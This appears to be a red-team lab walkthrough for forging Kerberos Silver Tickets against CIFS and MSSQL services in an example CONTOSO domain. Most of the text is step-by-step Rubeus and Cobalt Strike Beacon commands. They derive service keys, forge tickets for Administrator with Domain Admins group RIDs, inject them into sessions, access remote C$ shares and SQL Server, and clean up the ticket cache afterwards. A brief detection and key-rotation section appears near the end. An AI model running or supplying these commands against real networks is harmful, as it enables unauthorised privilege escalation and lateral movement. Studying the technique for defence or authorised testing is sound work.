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Kerberos Silver Tickets

Forge a service-specific ticket using the service account key, import it into a network-only session, and verify CIFS or MSSQL access.

Contents

1. Why the attack works

A Silver Ticket is a service ticket built offline using the compromised key of the account running the target service. For a machine-backed CIFS service, that is the computer account’s key. For SQL Server running under a domain service account, it is that service account’s key.

The scope is the service and target that can decrypt and accept the ticket. This is not a TGT and does not let the client request arbitrary service tickets as if it possessed krbtgt’s key. PAC validation and current service/KDC protections may reject a service-key-only forgery.

Required valueMeaning
Service account keyMatching AES or RC4 material for the actual service account
/serviceExact target SPN
/sidDomain SID, excluding the user’s RID
/user, /id, /groupsIntended username, user RID and group RIDs in the PAC

2. Build a CIFS ticket

powershell
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:cifs/lon-db-1 /aes256:<COMPUTER_AES256_KEY> /user:Administrator /id:500 /groups:513,512 /domain:CONTOSO.COM /sid:S-1-5-21-3926355307-1661546229-813047887 /nowrap
# Retain the complete output ticket for Administrator -> cifs/lon-db-1.

Explicit identity and group values avoid silently relying on Rubeus defaults. RID 500 and the groups above describe the lab’s built-in domain Administrator example, not every administrative account. Use the actual directory values for a different identity.

3. Import and verify

shell
beacon> make_token CONTOSO\Administrator FakePass
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<CIFS_TICKET_BASE64>
beacon> run klist
# Client: Administrator; server: cifs/lon-db-1.
beacon> ls \\lon-db-1\c$

The network-only session label does not forge the identity; the imported ticket does. Match the destination name to the ticket’s SPN. A successful import confirms cache insertion, not remote acceptance.

4. MSSQL service account example

Knowing the SQL service account’s password does not mean that account is a SQL sysadmin. The notes instead construct a ticket for rsteel, whose database permissions must be checked independently.

powershell
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe hash /user:mssql_svc /domain:CONTOSO.COM /password:<SERVICE_PASSWORD>
C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe silver /service:MSSQLSvc/lon-db-1.contoso.com:1433 /rc4:<SERVICE_RC4_KEY> /user:rsteel /id:1108 /groups:513,1106,1107,4602 /domain:CONTOSO.COM /sid:S-1-5-21-3926355307-1661546229-813047887 /nowrap

Those RIDs belong to the supplied lab. The RC4 variant requires support in the target environment; do not assume that modern domains accept it.

shell
beacon> make_token CONTOSO\rsteel FakePass
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /ticket:<MSSQL_TICKET_BASE64>
beacon> run klist
beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:lon-db-1.contoso.com /m:info
# Confirm CurrentLogon; separately verify SQL roles and permissions.

Use a fresh disposable session for each identity rather than mixing the CIFS and MSSQL examples in an existing cache.

Ticket import alternatives

powershell
[IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("<CIFS_TICKET_BASE64>"))
shell
# OPSEC Alternative
beacon> make_token CONTOSO\Administrator FakePass
beacon> kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
beacon> run klist
beacon> ls \\lon-db-1\c$
shell
# Rubeus Alternative
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO /username:Administrator /password:FakePass /ticket:<CIFS_TICKET_BASE64>
beacon> steal_token <CREATED_PID>
beacon> run klist
beacon> ls \\lon-db-1\c$

For the MSSQL variant, use CONTOSO\rsteel, the final MSSQL ticket and the SQL verification command above; a SQL-only ticket does not provide CIFS access.

Session cleanup

Purge the disposable network-only session while its token is still selected, then restore Beacon’s original token. rev2self alone does not purge tickets.

shell
# Native cleanup
beacon> kerberos_ticket_purge
beacon> rev2self

Troubleshooting and detection

SymptomCheck
Cannot decrypt the ticketWrong service account key, rotation or encryption type
Logon rejected despite correct keyPAC signatures and validation enforced by the target
SQL connects but privileged actions failActual SQL authorization, not just the Windows login name
Unexpected identitySelected logon session, existing cache and SPN matching

A target logon (4624) without a matching DC service-ticket request (4769) can be a useful correlation signal because the service ticket was built offline. Cache reuse, audit coverage and multiple DCs must be considered before calling that a forgery. Rotation of the affected service account key limits future use of its stolen material.

Quick checklist

text
BUILD THE SERVICE TICKET
[ ] Identify the actual account running the target service and its current key.
[ ] Record the exact SPN, realm, domain SID, user RID and intended group RIDs.
[ ] Select an encryption type supported by the target.
[ ] Rubeus silver -> use the service account key, not an unrelated computer or krbtgt key.
[ ] Confirm the generated ticket's client and exact target service.
[ ] For CIFS, select the machine-backed cifs/lon-db-1 ticket.
[ ] For MSSQL, select the MSSQLSvc ticket and verify SQL permissions separately.
[ ] Account for PAC validation: a generated ticket is not proof of remote acceptance.

IMPORT AND VERIFY — CHOOSE ONE PATH
# OPSEC Alternative
[ ] PowerShell: [IO.File]::WriteAllBytes("C:\Users\Attacker\Desktop\administrator.kirbi", [Convert]::FromBase64String("<CIFS_TICKET_BASE64>"))
[ ] make_token CONTOSO\Administrator FakePass
[ ] kerberos_ticket_use C:\Users\Attacker\Desktop\administrator.kirbi
# Rubeus Alternative
[ ] createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:Administrator /password:FakePass /ticket:<CIFS_TICKET_BASE64>
[ ] Record the returned PID and LUID; steal_token <CREATED_PID>.
[ ] run klist -> verify the selected session, client identity, target and expiry.
[ ] ls \\lon-db-1\c$ -> verify actual service authorization.
[ ] For MSSQL instead: use rsteel and the MSSQL ticket, then SQLRecon /m:info; do not test CIFS with a SQL ticket.

CLEANUP
[ ] Purge only the selected disposable cache: krb_purge or kerberos_ticket_purge.
[ ] rev2self -> restore the original token.
[ ] Rubeus createnetonly path only: kill <CREATED_PID>.